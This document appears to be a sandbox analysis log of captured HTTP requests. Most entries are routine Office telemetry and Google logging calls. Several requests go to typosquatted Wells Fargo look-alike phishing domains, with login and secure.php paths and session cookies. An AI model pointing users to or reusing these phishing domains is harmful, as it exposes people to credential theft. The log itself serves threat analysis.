Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.secure.access.wellsfarqoadvlsor.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /MettXckE HTTP/1.1Host: connect.secure.access.wellsfargoadvlsor.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /auth/login/present HTTP/1.1Host: connect.secure.access.wellsfargoadvlsor.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 00c9-0b5c=cf55061804835399ef45e0f0cad55953fcf6b7a453364e2b56258747b27151f9
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /secure/ HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://online.secure.access.wellsfarqoadvlsor.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQvIf-None-Match: "26be6-610f36651d400"If-Modified-Since: Fri, 09 Feb 2024 14:04:00 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.secure.access.wellsfarqoadvlsor.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /MettXckE HTTP/1.1Host: connect.secure.access.wellsfargoadvlsor.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.secure.access.wellsfarqoadvlsor.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://online.secure.access.wellsfarqoadvlsor.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /secure/secure.php HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /auth/login/present HTTP/1.1Host: connect.secure.access.wellsfargoadvlsor.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.secure.access.wellsfarqoadvlsor.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /MettXckE HTTP/1.1Host: connect.secure.access.wellsfargoadvlsor.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://online.secure.access.wellsfarqoadvlsor.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 00c9-0b5c=cf55061804835399ef45e0f0cad55953fcf6b7a453364e2b56258747b27151f9
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
